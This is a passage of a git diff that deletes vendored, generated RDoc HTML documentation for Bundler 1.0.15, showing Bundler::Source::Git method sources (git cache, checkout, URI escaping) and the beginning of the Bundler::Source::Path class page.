-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 587</span>
-587:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">base_name</span>
-588:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">uri</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">%{^(\w+://)?([^/:]+:)}</span>,<span class="ruby-value str">''</span>), <span class="ruby-value str">&quot;.git&quot;</span>)
-589:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cache-method" class="method-detail ">
-				<a name="method-i-cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 636</span>
-636:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>
-637:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">cached?</span>
-638:           <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">has_revision_cached?</span>
-639:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Updating #{uri}&quot;</span>
-640:           <span class="ruby-identifier">in_cache</span> <span class="ruby-keyword kw">do</span>
-641:             <span class="ruby-identifier">git</span> <span class="ruby-node">%fetch --force --quiet --tags #{uri_escaped} &quot;refs/heads/*:refs/heads/*&quot;|</span>
-642:           <span class="ruby-keyword kw">end</span>
-643:         <span class="ruby-keyword kw">else</span>
-644:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Fetching #{uri}&quot;</span>
-645:           <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">cache_path</span>.<span class="ruby-identifier">dirname</span>)
-646:           <span class="ruby-identifier">git</span> <span class="ruby-node">%clone #{uri_escaped} &quot;#{cache_path}&quot; --bare --no-hardlinks|</span>
-647:         <span class="ruby-keyword kw">end</span>
-648:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cache-path-method" class="method-detail ">
-				<a name="method-i-cache_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 624</span>
-624:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache_path</span>
-625:         <span class="ruby-ivar">@cache_path</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-626:           <span class="ruby-identifier">git_scope</span> = <span class="ruby-node">&quot;#{base_name}-#{uri_hash}&quot;</span>
-627: 
-628:           <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span>
-629:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">user_bundle_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;cache/git&quot;</span>, <span class="ruby-identifier">git_scope</span>)
-630:           <span class="ruby-keyword kw">else</span>
-631:             <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">cache</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;git&quot;</span>, <span class="ruby-identifier">git_scope</span>)
-632:           <span class="ruby-keyword kw">end</span>
-633:         <span class="ruby-keyword kw">end</span>
-634:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cached--method" class="method-detail ">
-				<a name="method-i-cached%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cached?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cached--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 690</span>
-690:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cached?</span>
-691:         <span class="ruby-identifier">cache_path</span>.<span class="ruby-identifier">exist?</span>
-692:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="checkout-method" class="method-detail ">
-				<a name="method-i-checkout"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">checkout</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="checkout-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 650</span>
-650:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">checkout</span>
-651:         <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;.git&quot;</span>))
-652:           <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">dirname</span>)
-653:           <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">rm_rf</span>(<span class="ruby-identifier">path</span>)
-654:           <span class="ruby-identifier">git</span> <span class="ruby-node">%clone --no-checkout &quot;#{cache_path}&quot; &quot;#{path}&quot;|</span>
-655:           <span class="ruby-constant">File</span>.<span class="ruby-identifier">chmod</span>((<span class="ruby-value">0777</span> &amp; <span class="ruby-operator">~</span><span class="ruby-constant">File</span>.<span class="ruby-identifier">umask</span>), <span class="ruby-identifier">path</span>)
-656:         <span class="ruby-keyword kw">end</span>
-657:         <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">path</span>) <span class="ruby-keyword kw">do</span>
-658:           <span class="ruby-identifier">git</span> <span class="ruby-node">%fetch --force --quiet --tags &quot;#{cache_path}&quot;|</span>
-659:           <span class="ruby-identifier">git</span> <span class="ruby-node">&quot;reset --hard #{revision}&quot;</span>
-660: 
-661:           <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@submodules</span>
-662:             <span class="ruby-identifier">git</span> <span class="ruby-value str">&quot;submodule init&quot;</span>
-663:             <span class="ruby-identifier">git</span> <span class="ruby-value str">&quot;submodule update&quot;</span>
-664:           <span class="ruby-keyword kw">end</span>
-665:         <span class="ruby-keyword kw">end</span>
-666:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="git-method" class="method-detail ">
-				<a name="method-i-git"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">git</span><span
-						class="method-args">(command)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="git-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 570</span>
-570:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">git</span>(<span class="ruby-identifier">command</span>)
-571:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">allow_git_ops?</span>
-572:           <span class="ruby-identifier">out</span> = <span class="ruby-node">%{git #{command}}</span>
-573: 
-574:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">$?</span>.<span class="ruby-identifier">exitstatus</span> <span class="ruby-operator">!=</span> <span class="ruby-value">0</span>
-575:             <span class="ruby-identifier">msg</span> = <span class="ruby-node">&quot;Git error: command `git #{command}` in directory #{Dir.pwd} has failed.&quot;</span>
-576:             <span class="ruby-identifier">msg</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;\nIf this error persists you could try removing the cache directory '#{cache_path}'&quot;</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">cached?</span>
-577:             <span class="ruby-identifier">raise</span> <span class="ruby-constant">GitError</span>, <span class="ruby-identifier">msg</span>
-578:           <span class="ruby-keyword kw">end</span>
-579:           <span class="ruby-identifier">out</span>
-580:         <span class="ruby-keyword kw">else</span>
-581:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">GitError</span>, <span class="ruby-node">&quot;Bundler is trying to run a `git #{command}` at runtime. You probably need to run `bundle install`. However, &quot;</span>                            <span class="ruby-value str">&quot;this error message could probably be more useful. Please submit a ticket at http://github.com/carlhuda/bundler/issues &quot;</span>                            <span class="ruby-node">&quot;with steps to reproduce as well as the following\n\nCALLER: #{caller.join(&quot;\n&quot;)}&quot;</span>
-582:         <span class="ruby-keyword kw">end</span>
-583:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="has-revision-cached--method" class="method-detail ">
-				<a name="method-i-has_revision_cached%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">has_revision_cached?</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="has-revision-cached--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 668</span>
-668:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">has_revision_cached?</span>
-669:         <span class="ruby-keyword kw">return</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@revision</span>
-670:         <span class="ruby-identifier">in_cache</span> { <span class="ruby-identifier">git</span> <span class="ruby-node">%cat-file -e #{@revision}|</span> }
-671:         <span class="ruby-keyword kw">true</span>
-672:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">GitError</span>
-673:         <span class="ruby-keyword kw">false</span>
-674:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="in-cache-method" class="method-detail ">
-				<a name="method-i-in_cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">in_cache</span><span
-						class="method-args">(&blk)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="in-cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 694</span>
-694:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">in_cache</span>(&amp;<span class="ruby-identifier">blk</span>)
-695:         <span class="ruby-identifier">cache</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">cached?</span>
-696:         <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">cache_path</span>, &amp;<span class="ruby-identifier">blk</span>)
-697:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
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-				
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-				
-			</div>
-
-		
-			<div id="revision-method" class="method-detail ">
-				<a name="method-i-revision"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">revision</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
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-					
-					
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-					<div class="method-source-code"
-						id="revision-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 680</span>
-680:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">revision</span>
-681:         <span class="ruby-ivar">@revision</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">begin</span>
-682:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">allow_git_ops?</span>
-683:             <span class="ruby-identifier">in_cache</span> { <span class="ruby-identifier">git</span>(<span class="ruby-node">&quot;rev-parse #{ref}&quot;</span>).<span class="ruby-identifier">strip</span> }
-684:           <span class="ruby-keyword kw">else</span>
-685:             <span class="ruby-identifier">raise</span> <span class="ruby-constant">GitError</span>, <span class="ruby-node">&quot;The git source #{uri} is not yet checked out. Please run `bundle install` before trying to start your application&quot;</span>
-686:           <span class="ruby-keyword kw">end</span>
-687:         <span class="ruby-keyword kw">end</span>
-688:       <span class="ruby-keyword kw">end</span></pre>
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-				
-					<span class="method-name">shortref_for_display</span><span
-						class="method-args">(ref)</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 591</span>
-591:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shortref_for_display</span>(<span class="ruby-identifier">ref</span>)
-592:         <span class="ruby-identifier">ref</span>[<span class="ruby-value">0</span><span class="ruby-operator">..</span><span class="ruby-value">6</span>]
-593:       <span class="ruby-keyword kw">end</span></pre>
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-			<div id="shortref-for-path-method" class="method-detail ">
-				<a name="method-i-shortref_for_path"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">shortref_for_path</span><span
-						class="method-args">(ref)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-
-				<div class="method-description">
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-					<div class="method-source-code"
-						id="shortref-for-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 595</span>
-595:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">shortref_for_path</span>(<span class="ruby-identifier">ref</span>)
-596:         <span class="ruby-identifier">ref</span>[<span class="ruby-value">0</span><span class="ruby-operator">..</span><span class="ruby-value">11</span>]
-597:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-uri_escaped"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">uri_escaped</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Escape the URI for git commands
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="uri-escaped-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 612</span>
-612:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">uri_escaped</span>
-613:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">WINDOWS</span>
-614:           <span class="ruby-comment cmt"># Windows quoting requires double quotes only, with double quotes</span>
-615:           <span class="ruby-comment cmt"># inside the string escaped by being doubled.</span>
-616:           <span class="ruby-value str">'&quot;'</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">uri</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-value str">'&quot;'</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-value str">'&quot;&quot;'</span>} <span class="ruby-operator">+</span> <span class="ruby-value str">'&quot;'</span>
-617:         <span class="ruby-keyword kw">else</span>
-618:           <span class="ruby-comment cmt"># Bash requires single quoted strings, with the single quotes escaped</span>
-619:           <span class="ruby-comment cmt"># by ending the string, escaping the quote, and restarting the string.</span>
-620:           <span class="ruby-value str">&quot;'&quot;</span> <span class="ruby-operator">+</span> <span class="ruby-identifier">uri</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-value str">&quot;'&quot;</span>) {<span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-value str">&quot;'\\''&quot;</span>} <span class="ruby-operator">+</span> <span class="ruby-value str">&quot;'&quot;</span>
-621:         <span class="ruby-keyword kw">end</span>
-622:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
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-				
-
-				
-			</div>
-
-		
-			<div id="uri-hash-method" class="method-detail ">
-				<a name="method-i-uri_hash"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">uri_hash</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="uri-hash-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 599</span>
-599:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">uri_hash</span>
-600:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">uri</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">%{^\w+://(\w+@)?}</span>
-601:           <span class="ruby-comment cmt"># Downcase the domain component of the URI</span>
-602:           <span class="ruby-comment cmt"># and strip off a trailing slash, if one is present</span>
-603:           <span class="ruby-identifier">input</span> = <span class="ruby-constant">URI</span>.<span class="ruby-identifier">parse</span>(<span class="ruby-identifier">uri</span>).<span class="ruby-identifier">normalize</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-regexp re">%{/$}</span>,<span class="ruby-value str">''</span>)
-604:         <span class="ruby-keyword kw">else</span>
-605:           <span class="ruby-comment cmt"># If there is no URI scheme, assume it is an ssh/git URI</span>
-606:           <span class="ruby-identifier">input</span> = <span class="ruby-identifier">uri</span>
-607:         <span class="ruby-keyword kw">end</span>
-608:         <span class="ruby-constant">Digest</span><span class="ruby-operator">::</span><span class="ruby-constant">SHA1</span>.<span class="ruby-identifier">hexdigest</span>(<span class="ruby-identifier">input</span>)
-609:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-	
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-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path.html
deleted file mode 100644
index a82f3938..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path.html
+++ /dev/null
@@ -1,1148 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Source::Path</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/source_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/source.rb">lib/bundler/source.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-			<div id="namespace-list-section" class="section">
-				<h3 class="section-header">Namespace</h3>
-				<ul class="link-list">
-					
-					<li><span class="type">CLASS</span> <a href="Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-from_lock">::from_lock</a></li>
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-%3D%3D">#==</a></li>
-					
-					<li><a href="#method-i-cache">#cache</a></li>
-					
-					<li><a href="#method-i-cached%21">#cached!</a></li>
-					
-					<li><a href="#method-i-eql%3F">#eql?</a></li>
-					
-					<li><a href="#method-i-generate_bin">#generate_bin</a></li>
-					
-					<li><a href="#method-i-hash">#hash</a></li>
-					
-					<li><a href="#method-i-install">#install</a></li>
-					
-					<li><a href="#method-i-load_spec_files">#load_spec_files</a></li>
-					
-					<li><a href="#method-i-local_specs">#local_specs</a></li>
-					
-					<li><a href="#method-i-name">#name</a></li>
-					
-					<li><a href="#method-i-relative_path">#relative_path</a></li>
-					
-					<li><a href="#method-i-remote%21">#remote!</a></li>
-					
-					<li><a href="#method-i-specs">#specs</a></li>
-					
-					<li><a href="#method-i-to_lock">#to_lock</a></li>
-					
-					<li><a href="#method-i-to_s">#to_s</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../../Bundler/Index.html">Bundler::Index</a></li>
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-				
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-					<li><a href="../../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="../../Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="../../Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="../../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="../../Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="../../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="../../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="../../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="../../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
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-					<li><a href="../../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
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-				
-					<li><a href="../../Thor.html">Thor</a></li>
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-				
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-				
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-				
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../../Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="../../Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="../../Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
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-				
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-				
-					<li><a href="../../Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
-					<li><a href="../../Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
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-				
-					<li><a href="../../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
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-				
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-				
-					<li><a href="../../Gem.html">Gem</a></li>
-				
-					<li><a href="../../Gem/Dependency.html">Gem::Dependency</a></li>
-				
-					<li><a href="../../Gem/Platform.html">Gem::Platform</a></li>
-				
-					<li><a href="../../Gem/Requirement.html">Gem::Requirement</a></li>
-				
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
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-			
-		</div>
-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::Source::Path</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="DEFAULT_GLOB">DEFAULT_GLOB</a></dt>
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-				<dd class="description"></dd>
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-			</dl>
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-		<!-- Attributes -->
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-		<div id="attribute-method-details" class="method-section section">
-			<h3 class="section-header">Attributes</h3>
-
-			
-			<div id="path-attribute-method" class="method-detail">
-				<a name="path"></a>
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-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">path</span><span
-						class="attribute-access-type">[R]</span>
-				</div>
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-				<div class="method-description">
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-			<div id="options-attribute-method" class="method-detail">
-				<a name="options"></a>
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-				<div class="method-heading attribute-method-heading">
